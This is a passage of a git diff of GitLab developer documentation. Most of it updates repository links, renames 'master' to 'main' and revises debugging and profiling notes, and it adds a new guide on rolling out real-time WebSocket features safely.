supports this case. There are project and group level permissions for `read_package`, `create_package`, and `destroy_package`. Each endpoint should -[authorize the requesting user](https://gitlab.com/gitlab-org/gitlab/blob/398fef1ca26ae2b2c3dc89750f6b20455a1e5507/ee/lib/api/conan_packages.rb) +[authorize the requesting user](https://gitlab.com/gitlab-org/gitlab/-/blob/398fef1ca26ae2b2c3dc89750f6b20455a1e5507/ee/lib/api/conan_packages.rb) against the project or group before continuing. #### Database and handling metadata @@ -219,7 +219,7 @@ demonstrates adding an instance-level endpoint for Conan to workhorse. You can a implemented in the same file. Once the route has been added, you must add an additional `/authorize` version of the upload endpoint to your API file. -[This example](https://gitlab.com/gitlab-org/gitlab/blob/398fef1ca26ae2b2c3dc89750f6b20455a1e5507/ee/lib/api/maven_packages.rb#L164) +[This example](https://gitlab.com/gitlab-org/gitlab/-/blob/398fef1ca26ae2b2c3dc89750f6b20455a1e5507/ee/lib/api/maven_packages.rb#L164) shows the additional endpoint added for Maven. The `/authorize` endpoint verifies and authorizes the request from workhorse, then the normal upload endpoint is implemented below, consuming the metadata that workhorse provides in order to create the package record. Workhorse provides a variety of file metadata such as type, size, and different checksum formats. @@ -276,7 +276,7 @@ features must be implemented when the feature flag is removed. - Background workers for extracting package metadata (if applicable) - Documentation (how to use the feature) - API Documentation (individual endpoints with curl examples) -- Seeding in [`db/fixtures/development/26_packages.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/db/fixtures/development/26_packages.rb) +- Seeding in [`db/fixtures/development/26_packages.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/db/fixtures/development/26_packages.rb) - Update the [runbook](https://gitlab.com/gitlab-com/runbooks/-/blob/31fb4959e89db25fddf865bc81734c222daf32dd/dashboards/stage-groups/package.dashboard.jsonnet#L74) for the Grafana charts - End-to-end feature tests for (at the minimum) publishing and installing a package diff --git a/doc/development/performance.md b/doc/development/performance.md index c6fe9f29b53..84b3a8f1092 100644 --- a/doc/development/performance.md +++ b/doc/development/performance.md @@ -283,8 +283,8 @@ Currently supported profiling targets are: - Sidekiq NOTE: -The Puma master process is not supported. Neither is Unicorn. -Sending SIGUSR2 to either of those triggers restarts. In the case of Puma, +The Puma master process is not supported. +Sending SIGUSR2 to it triggers restarts. In the case of Puma, take care to only send the signal to Puma workers. This can be done via `pkill -USR2 puma:`. The `:` distinguishes between `puma diff --git a/doc/development/permissions.md b/doc/development/permissions.md index 6ff0c6d5167..8c3600a30ba 100644 --- a/doc/development/permissions.md +++ b/doc/development/permissions.md @@ -78,7 +78,7 @@ is stored in the `project_authorizations` table. WARNING: Due to [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/219299), projects in personal namespace do not show owner (`50`) permission in -`project_authorizations` table. Note however that [`user.owned_projects`](https://gitlab.com/gitlab-org/gitlab/blob/0d63823b122b11abd2492bca47cc26858eee713d/app/models/user.rb#L906-916) +`project_authorizations` table. Note however that [`user.owned_projects`](https://gitlab.com/gitlab-org/gitlab/-/blob/0d63823b122b11abd2492bca47cc26858eee713d/app/models/user.rb#L906-916) is calculated properly. ### Confidential issues diff --git a/doc/development/pipelines.md b/doc/development/pipelines.md index 24f35bdab57..0dc1481f542 100644 --- a/doc/development/pipelines.md +++ b/doc/development/pipelines.md @@ -8,9 +8,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w Pipelines for [`gitlab-org/gitlab`](https://gitlab.com/gitlab-org/gitlab) and [`gitlab-org/gitlab-foss`](https://gitlab.com/gitlab-org/gitlab-foss) (as well as the `dev` instance's mirrors) are configured in the usual -[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml) +[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab-ci.yml) which itself includes files under -[`.gitlab/ci/`](https://gitlab.com/gitlab-org/gitlab/tree/master/.gitlab/ci) +[`.gitlab/ci/`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/.gitlab/ci) for easier maintenance. We're striving to [dogfood](https://about.gitlab.com/handbook/engineering/#dogfooding) @@ -24,7 +24,7 @@ feature of the GitLab CI/CD. Pipelines are always created for the following scenarios: -- `master` branch, including on schedules, pushes, merges, and so on. +- `main` branch, including on schedules, pushes, merges, and so on. - Merge requests. - Tags. - Stable, `auto-deploy`, and security branches. @@ -37,7 +37,7 @@ Pipeline creation is also affected by the following CI/CD variables: No pipeline is created in any other cases (for example, when pushing a branch with no MR for it). -The source of truth for these workflow rules is defined in [`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml). +The source of truth for these workflow rules is defined in [`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab-ci.yml). ### Pipelines for Merge Requests @@ -428,7 +428,7 @@ We are using a custom mapping between source file to test files, maintained in t As part of the objective to improve overall pipeline duration, we are experimenting with a minimal set of RSpec tests. The purpose of this experiment is to verify if we are able to run a minimal set of RSpec tests in a Merge Request pipeline, -without resulting in increased number of broken master. +without resulting in increased number of broken main branch. To identify the minimal set of tests needed, we use [Crystalball gem](https://github.com/toptal/crystalball) to create a test mapping. The test mapping contains a map of each source files to a list of test files which is dependent of the source file. @@ -484,14 +484,14 @@ Our test suite runs against PG12 as GitLab.com runs on PG12 and Our test suite is currently running against PG11, since GitLab.com still runs on PG11. We do run our test suite against PG11 on nightly scheduled pipelines as well as upon specific -database library changes in MRs and `master` pipelines (with the `rspec db-library-code pg11` job). +database library changes in MRs and `main` pipelines (with the `rspec db-library-code pg11` job). #### Current versions testing | Where? | PostgreSQL version | | ------ | ------------------ | | MRs | 12, 11 for DB library changes | -| `master` (non-scheduled pipelines) | 12, 11 for DB library changes | +| `main` (non-scheduled pipelines) | 12, 11 for DB library changes | | 2-hourly scheduled pipelines | 12, 11 for DB library changes | | `nightly` scheduled pipelines | 12, 11 | @@ -538,7 +538,7 @@ the `gitlab-org/gitlab-foss` project. ### Interruptible pipelines By default, all jobs are [interruptible](../ci/yaml/README.md#interruptible), except the -`dont-interrupt-me` job which runs automatically on `master`, and is `manual` +`dont-interrupt-me` job which runs automatically on `main`, and is `manual` otherwise. If you want a running pipeline to finish even if you push new commits to a merge @@ -549,7 +549,7 @@ request, be sure to start the `dont-interrupt-me` job before pushing. 1. All jobs must only pull caches by default. 1. All jobs must be able to pass with an empty cache. In other words, caches are only there to speed up jobs. 1. We currently have several different cache definitions defined in - [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/global.gitlab-ci.yml), + [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/global.gitlab-ci.yml), with fixed keys: - `.setup-test-env-cache` - `.rails-cache` @@ -561,12 +561,13 @@ request, be sure to start the `dont-interrupt-me` job before pushing. - `.assets-compile-cache` (the key includes `${NODE_ENV}` so it's actually two different caches). 1. These cache definitions are composed of [multiple atomic caches](../ci/yaml/README.md#multiple-caches). 1. Only 6 specific jobs, running in 2-hourly scheduled pipelines, are pushing (i.e. updating) to the caches: - - `update-setup-test-env-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml). - - `update-static-analysis-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml). - - `update-qa-cache`, defined in [`.gitlab/ci/qa.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/qa.gitlab-ci.yml). - - `update-assets-compile-production-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/frontend.gitlab-ci.yml). - - `update-assets-compile-test-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/frontend.gitlab-ci.yml). - - `update-yarn-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/frontend.gitlab-ci.yml). + - `update-setup-test-env-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/rails.gitlab-ci.yml). + - `update-gitaly-binaries-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/rails.gitlab-ci.yml). + - `update-static-analysis-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/rails.gitlab-ci.yml). + - `update-qa-cache`, defined in [`.gitlab/ci/qa.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/qa.gitlab-ci.yml). + - `update-assets-compile-production-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/frontend.gitlab-ci.yml). + - `update-assets-compile-test-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/frontend.gitlab-ci.yml). + - `update-yarn-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/frontend.gitlab-ci.yml). 1. These jobs can also be forced to run in merge requests whose title include `UPDATE CACHE` (this can be useful to warm the caches in a MR that updates the cache keys). ### Artifacts strategy @@ -583,7 +584,7 @@ several reasons: - It significantly reduces load on the file server, as smaller deltas mean less time spent in `git pack-objects`. The pre-clone step works by using the `CI_PRE_CLONE_SCRIPT` variable -[defined by GitLab.com shared runners](../user/gitlab_com/index.md#pre-clone-script). +[defined by GitLab.com shared runners](../ci/runners/README.md#pre-clone-script). The `CI_PRE_CLONE_SCRIPT` is currently defined as a project CI/CD variable: @@ -608,7 +609,7 @@ The `CI_PRE_CLONE_SCRIPT` is currently defined as a project CI/CD variable: ``` The first step of the script downloads `gitlab-master.tar.gz` from -Google Cloud Storage. There is a [GitLab CI job named `cache-repo`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/cache-repo.gitlab-ci.yml#L5) +Google Cloud Storage. There is a [GitLab CI job named `cache-repo`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/cache-repo.gitlab-ci.yml#L5) that is responsible for keeping that archive up-to-date. Every two hours on a scheduled pipeline, it does the following: @@ -674,7 +675,7 @@ that is deployed in stage `review`. ### Default image -The default image is defined in [`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml). +The default image is defined in [`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab-ci.yml). <!-- vale gitlab.Spelling = NO --> It includes Ruby, Go, Git, Git LFS, Chrome, Node, Yarn, PostgreSQL, and Graphics Magick. @@ -711,12 +712,12 @@ Docker Hub unless `${GITLAB_DEPENDENCY_PROXY}` is also defined there. In addition to the [predefined CI/CD variables](../ci/variables/predefined_variables.md), each pipeline includes default variables defined in -[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml). +[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab-ci.yml). ### Common job definitions Most of the jobs [extend from a few CI definitions](../ci/yaml/README.md#extends) -defined in [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/global.gitlab-ci.yml) +defined in [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/global.gitlab-ci.yml) that are scoped to a single [configuration keyword](../ci/yaml/README.md#job-keywords). | Job definitions | Description | @@ -730,10 +731,10 @@ that are scoped to a single [configuration keyword](../ci/yaml/README.md#job-key | `.qa-cache` | Allows a job to use a default `cache` definition suitable for QA tasks. | | `.yarn-cache` | Allows a job to use a default `cache` definition suitable for frontend jobs that do a `yarn install`. | | `.assets-compile-cache` | Allows a job to use a default `cache` definition suitable for frontend jobs that compile assets. | -| `.use-pg11` | Allows a job to run the `postgres` 11 and `redis` services (see [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/global.gitlab-ci.yml) for the specific versions of the services). | -| `.use-pg11-ee` | Same as `.use-pg11` but also use an `elasticsearch` service (see [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/global.gitlab-ci.yml) for the specific version of the service). | -| `.use-pg12` | Allows a job to use the `postgres` 12 and `redis` services (see [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/global.gitlab-ci.yml) for the specific versions of the services). | -| `.use-pg12-ee` | Same as `.use-pg12` but also use an `elasticsearch` service (see [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/global.gitlab-ci.yml) for the specific version of the service). | +| `.use-pg11` | Allows a job to run the `postgres` 11 and `redis` services (see [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/global.gitlab-ci.yml) for the specific versions of the services). | +| `.use-pg11-ee` | Same as `.use-pg11` but also use an `elasticsearch` service (see [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/global.gitlab-ci.yml) for the specific version of the service). | +| `.use-pg12` | Allows a job to use the `postgres` 12 and `redis` services (see [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/global.gitlab-ci.yml) for the specific versions of the services). | +| `.use-pg12-ee` | Same as `.use-pg12` but also use an `elasticsearch` service (see [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/global.gitlab-ci.yml) for the specific version of the service). | | `.use-kaniko` | Allows a job to use the `kaniko` tool to build Docker images. | | `.as-if-foss` | Simulate the FOSS project by setting the `FOSS_ONLY='1'` CI/CD variable. | | `.use-docker-in-docker` | Allows a job to use Docker in Docker. | diff --git a/doc/development/polymorphic_associations.md b/doc/development/polymorphic_associations.md index b71e66c8671..f341255a7e1 100644 --- a/doc/development/polymorphic_associations.md +++ b/doc/development/polymorphic_associations.md @@ -62,19 +62,19 @@ AND source_id = 13083; ``` Here PostgreSQL can perform the query quite efficiently if both columns are -indexed, but as the query gets more complex it may not be able to use these -indexes efficiently. +indexed. As the query gets more complex, it may not be able to use these +indexes effectively. ## Mixed Responsibilities -Similar to functions and classes a table should have a single responsibility: +Similar to functions and classes, a table should have a single responsibility: storing data with a certain set of pre-defined columns. When using polymorphic -associations you are instead storing different types of data (possibly with +associations, you are storing different types of data (possibly with different columns set) in the same table. ## The Solution -Fortunately there is a very simple solution to these problems: use a +Fortunately, there is a solution to these problems: use a separate table for every type you would otherwise store in the same table. Using a separate table allows you to use everything a database may provide to ensure consistency and query data efficiently, without any additional application logic @@ -120,8 +120,8 @@ FROM pending_group_members WHERE group_id = 4 ``` -If you want to get both you can use a UNION, though you need to be explicit -about what columns you want to SELECT as otherwise the result set uses the +If you want to get both you can use a `UNION`, though you need to be explicit +about what columns you want to `SELECT` as otherwise the result set uses the columns of the first query. For example: ```sql diff --git a/doc/development/product_analytics/event_dictionary.md b/doc/development/product_analytics/event_dictionary.md index e8b8e0c4885..3931f0b35ab 100644 --- a/doc/development/product_analytics/event_dictionary.md +++ b/doc/development/product_analytics/event_dictionary.md @@ -1,8 +1,9 @@ --- redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/' +remove_date: '2021-12-01' --- This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/). -<!-- This redirect file can be deleted after December 1, 2021. --> +<!-- This redirect file can be deleted after 2021-12-01. --> <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/product_analytics/index.md b/doc/development/product_analytics/index.md index e8b8e0c4885..3931f0b35ab 100644 --- a/doc/development/product_analytics/index.md +++ b/doc/development/product_analytics/index.md @@ -1,8 +1,9 @@ --- redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/' +remove_date: '2021-12-01' --- This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/). -<!-- This redirect file can be deleted after December 1, 2021. --> +<!-- This redirect file can be deleted after 2021-12-01. --> <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/profiling.md b/doc/development/profiling.md index 81881a4d490..781138a6ade 100644 --- a/doc/development/profiling.md +++ b/doc/development/profiling.md @@ -49,7 +49,7 @@ ActiveRecord and ActionController log output to that logger. Further options are documented with the method source. ```ruby -Gitlab::Profiler.profile('/gitlab-org/gitlab-test', user: User.first, logger: Logger.new(STDOUT)) +Gitlab::Profiler.profile('/gitlab-org/gitlab-test', user: User.first, logger: Logger.new($stdout)) ``` There is also a RubyProf printer available: diff --git a/doc/development/prometheus_metrics.md b/doc/development/prometheus_metrics.md index 09efb70f279..66e980978bf 100644 --- a/doc/development/prometheus_metrics.md +++ b/doc/development/prometheus_metrics.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Adding to the library -We strive to support the 2-4 most important metrics for each common system service that supports Prometheus. If you are looking for support for a particular exporter which has not yet been added to the library, additions can be made [to the `common_metrics.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/prometheus/common_metrics.yml) file. +We strive to support the 2-4 most important metrics for each common system service that supports Prometheus. If you are looking for support for a particular exporter which has not yet been added to the library, additions can be made [to the `common_metrics.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/prometheus/common_metrics.yml) file. ### Query identifier diff --git a/doc/development/pry_debugging.md b/doc/development/pry_debugging.md index d662e6bbc54..402029164a7 100644 --- a/doc/development/pry_debugging.md +++ b/doc/development/pry_debugging.md @@ -12,8 +12,10 @@ To invoke the debugger, place `binding.pry` somewhere in your code. When the Ruby interpreter hits that code, execution stops, and you can type in commands to debug the state of the program. -When debugging code in another process like Puma or Sidekiq, you can use `binding.remote_pry`. -You can then connect to this session by running `pry-remote` from your terminal. +When debugging code in another process like Puma or Sidekiq, you can use `binding.pry_shell`. +You can then connect to this session by using the [pry-shell](https://github.com/meinac/pry-shell) executable. +You can watch [this video](https://www.youtube.com/watch?v=Lzs_PL_BySo), for more information about +how to use the `pry-shell`. ## `byebug` vs `binding.pry` diff --git a/doc/development/query_recorder.md b/doc/development/query_recorder.md index 3cc7b140e89..46866f67f68 100644 --- a/doc/development/query_recorder.md +++ b/doc/development/query_recorder.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w QueryRecorder is a tool for detecting the [N+1 queries problem](https://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations) from tests. -> Implemented in [spec/support/query_recorder.rb](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/support/helpers/query_recorder.rb) via [9c623e3e](https://gitlab.com/gitlab-org/gitlab-foss/commit/9c623e3e5d7434f2e30f7c389d13e5af4ede770a) +> Implemented in [spec/support/query_recorder.rb](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/support/helpers/query_recorder.rb) via [9c623e3e](https://gitlab.com/gitlab-org/gitlab-foss/commit/9c623e3e5d7434f2e30f7c389d13e5af4ede770a) As a rule, merge requests [should not increase query counts](merge_request_performance_guidelines.md#query-counts). If you find yourself adding something like `.includes(:author, :assignee)` to avoid having `N+1` queries, consider using QueryRecorder to enforce this with a test. Without this, a new feature which causes an additional model to be accessed can silently reintroduce the problem. diff --git a/doc/development/rake_tasks.md b/doc/development/rake_tasks.md index c6c3d39c57f..8d20c2b738e 100644 --- a/doc/development/rake_tasks.md +++ b/doc/development/rake_tasks.md @@ -236,7 +236,7 @@ task, then check the dimensions of the new sprite sheet and update the ## Update project templates Starting a project from a template needs this project to be exported. On a -up to date master branch run: +up to date main branch run: ```shell gdk start @@ -247,7 +247,7 @@ git commit git push -u origin update-project-templates ``` -Now create a merge request and merge that to master. +Now create a merge request and merge that to main. ## Generate route lists @@ -263,7 +263,7 @@ RESTful API verbs. For the Rails controllers, run: ```shell -bundle exec rake routes +bundle exec rails routes ``` Since these take some time to create, it's often helpful to save the output to diff --git a/doc/development/reactive_caching.md b/doc/development/reactive_caching.md index 0223f5d91d6..b6878ee48f1 100644 --- a/doc/development/reactive_caching.md +++ b/doc/development/reactive_caching.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # `ReactiveCaching` -> This doc refers to [`reactive_caching.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/models/concerns/reactive_caching.rb). +> This doc refers to [`reactive_caching.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/concerns/reactive_caching.rb). The `ReactiveCaching` concern is used for fetching some data in the background and storing it in the Rails cache, keeping it up-to-date for as long as it is being requested. If the diff --git a/doc/development/real_time.md b/doc/development/real_time.md new file mode 100644 index 00000000000..df725a36a93 --- /dev/null +++ b/doc/development/real_time.md @@ -0,0 +1,97 @@ +--- +stage: Plan +group: Project Management +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Real-Time Features + +This guide contains instructions on how to safely roll out new real-time +features. + +Real-time features are implemented using GraphQL Subscriptions. +[Developer documentation](api_graphql_styleguide.md#subscriptions) is available. + +WebSockets are a relatively new technology at GitLab, and supporting them at +scale introduces some challenges. For that reason, new features should be rolled +out using the instructions below. + +## Reuse an existing WebSocket connection + +Features reusing an existing connection incur minimal risk. Feature flag rollout +is recommended in order to give more control to self-hosting customers. However, +it is not necessary to roll out in percentages, or to estimate new connections for +GitLab.com. + +## Introduce a new WebSocket connection + +Any change that introduces a WebSocket connection to part of the GitLab application +incurs some scalability risk, both to nodes responsible for maintaining open +connections and on downstream services; such as Redis and the primary database. + +### Estimate peak connections + +The first real-time feature to be fully enabled on GitLab.com was +[real-time assignees](https://gitlab.com/gitlab-org/gitlab/-/issues/17589). By comparing +peak throughput to the issue page against peak simultaneous WebSocket connections it is +possible to crudely estimate that each 1 request per second adds +approximately 4200 WebSocket connections. + +To understand the impact a new feature might have, sum the peak throughput (RPS) +to the pages it originates from (`n`) and apply the formula: + +```ruby +(n * 4200) / peak_active_connections +``` + +Current active connections are visible on +[this Grafana chart](https://dashboards.gitlab.net/d/websockets-main/websockets-overview?viewPanel=1357460996&orgId=1). + +This calculation is crude, and should be revised as new features are +deployed. It yields a rough estimate of the capacity that must be +supported, as a proportion of existing capacity. + +### Graduated roll-out + +New capacity may need to be provisioned to support your changes, depending on +current saturation and the proportion of new connections required. While +Kubernetes makes this relatively easy in most cases, there remains a risk to +downstream services. + +To mitigate this, ensure that the code establishing the new WebSocket connection +is feature flagged and defaulted to `off`. A careful, percentage-based roll-out +of the feature flag ensures that effects can be observed on the [WebSocket +dashboard](https://dashboards.gitlab.net/d/websockets-main/websockets-overview?orgId=1) + +1. Create a + [feature flag roll-out](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Feature%20Flag%20Roll%20Out.md) + issue. +1. Add the estimated new connections required under the **What are we expecting to happen** section. +1. Copy in a member of the Plan and Scalability teams to estimate a percentage-based + roll-out plan. + +## Backward compatibility + +For the duration of the feature flag roll-out and indefinitely thereafter, +real-time features must be backward-compatible, or at least degrade +gracefully. Not all customers have Action Cable enabled, and further work +needs to be done before Action Cable can be enabled by default. + +Making real-time a requirement represents a breaking change, so the next +opportunity to do this is version 15.0. + +## Enable Real-Time by default + +Mounting the Action Cable library adds minimal memory footprint. However, +serving WebSocket requests introduces additional memory requirements. For this +reason, enabling Action Cable by default requires additional work; perhaps +to reduce overall memory usage, including a known issue with Workhorse, but at +least to revise Reference Architectures. + +## Real-time infrastructure on GitLab.com + +On GitLab.com, WebSocket connections are served from dedicated infrastructure, +entirely separate from the regular Web fleet and deployed with Kubernetes. This +limits risk to nodes handling requests but not to shared services. For more +information on the WebSockets Kubernetes deployment see +[this epic](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/355). diff --git a/doc/development/redis.md b/doc/development/redis.md index c7111db0cdc..893fe1dcbcd 100644 --- a/doc/development/redis.md +++ b/doc/development/redis.md @@ -18,8 +18,9 @@ Redis instance. On GitLab.com, we use [separate Redis instances](../administration/redis/replication_and_failover.md#running-multiple-redis-clusters). -(We do not currently use [ActionCable on -GitLab.com](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/228)). +See the [Redis SRE guide](https://gitlab.com/gitlab-com/runbooks/-/blob/master/docs/redis/redis-survival-guide-for-sres.md) +for more details on our setup. +We do not currently use [ActionCable on GitLab.com](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/228). Every application process is configured to use the same Redis servers, so they can be used for inter-process communication in cases where [PostgreSQL](sql.md) @@ -158,7 +159,7 @@ following is true: ### `Gitlab::Redis::{Cache,SharedState,Queues}` These classes wrap the Redis instances (using -[`Gitlab::Redis::Wrapper`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/redis/wrapper.rb)) +[`Gitlab::Redis::Wrapper`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/redis/wrapper.rb)) to make it convenient to work with them directly. The typical use is to call `.with` on the class, which takes a block that yields the Redis connection. For example: @@ -174,7 +175,7 @@ Gitlab::Redis::Cache.with { |redis| redis.sismember(key, value) } ### `Gitlab::Redis::Boolean` In Redis, every value is a string. -[`Gitlab::Redis::Boolean`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/redis/boolean.rb) +[`Gitlab::Redis::Boolean`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/redis/boolean.rb) makes sure that booleans are encoded and decoded consistently. ### `Gitlab::Redis::HLL` @@ -187,19 +188,19 @@ elements with low memory usage. (In addition to the `PFCOUNT` documentation, Thoughtbot's article on [HyperLogLogs in Redis](https://thoughtbot.com/blog/hyperloglogs-in-redis) provides a good background here.) -[`Gitlab::Redis::HLL`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/redis/hll.rb) +[`Gitlab::Redis::HLL`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/redis/hll.rb) provides a convenient interface for adding and counting values in HyperLogLogs. ### `Gitlab::SetCache` For cases where we need to efficiently check the whether an item is in a group of items, we can use a Redis set. -[`Gitlab::SetCache`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/set_cache.rb) +[`Gitlab::SetCache`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/set_cache.rb) provides an `#include?` method that uses the [`SISMEMBER`](https://redis.io/commands/sismember) command, as well as `#read` to fetch all entries in the set. This is used by the -[`RepositorySetCache`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/repository_set_cache.rb) +[`RepositorySetCache`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/repository_set_cache.rb) to provide a convenient way to use sets to cache repository data like branch names. diff --git a/doc/development/reference_processing.md b/doc/development/reference_processing.md index 23c0861081d..2fd0ce51b39 100644 --- a/doc/development/reference_processing.md +++ b/doc/development/reference_processing.md @@ -37,18 +37,18 @@ the tools that identify short-code and URI references from markup documents and transform them into structured links to the resources they represent. For example, the class -[`Banzai::Filter::IssueReferenceFilter`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/banzai/filter/issue_reference_filter.rb) +[`Banzai::Filter::IssueReferenceFilter`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/banzai/filter/issue_reference_filter.rb) is responsible for handling references to issues, such as `gitlab-org/gitlab#123` and `https://gitlab.com/gitlab-org/gitlab/-/issues/200048`. All reference filters are instances of [`HTML::Pipeline::Filter`](https://www.rubydoc.info/github/jch/html-pipeline/HTML/Pipeline/Filter), -and inherit (often indirectly) from [`Banzai::Filter::ReferenceFilter`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/banzai/filter/reference_filter.rb). +and inherit (often indirectly) from [`Banzai::Filter::ReferenceFilter`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/banzai/filter/reference_filter.rb). `HTML::Pipeline::Filter` has a simple interface consisting of `#call`, a void method that mutates the current document. `ReferenceFilter` provides methods that make defining suitable `#call` methods easier. Most reference filters however do not inherit from either of these classes directly, but from -[`AbstractReferenceFilter`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/banzai/filter/abstract_reference_filter.rb), +[`AbstractReferenceFilter`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/banzai/filter/abstract_reference_filter.rb), which provides a higher-level interface. Subclasses of `AbstractReferenceFilter` generally do not override `#call`; instead, @@ -65,7 +65,7 @@ a minimum implementation of `AbstractReferenceFilter` should define: This is used to: - Find the regular expressions used to find references. The class should - include [`Referable`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/models/concerns/referable.rb) + include [`Referable`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/concerns/referable.rb) and thus define two regular expressions: `.link_reference_pattern` and `.reference_pattern`, both of which should contain a named capture group named the value of `ReferenceFilter.object_sym`. @@ -75,7 +75,7 @@ a minimum implementation of `AbstractReferenceFilter` should define: - 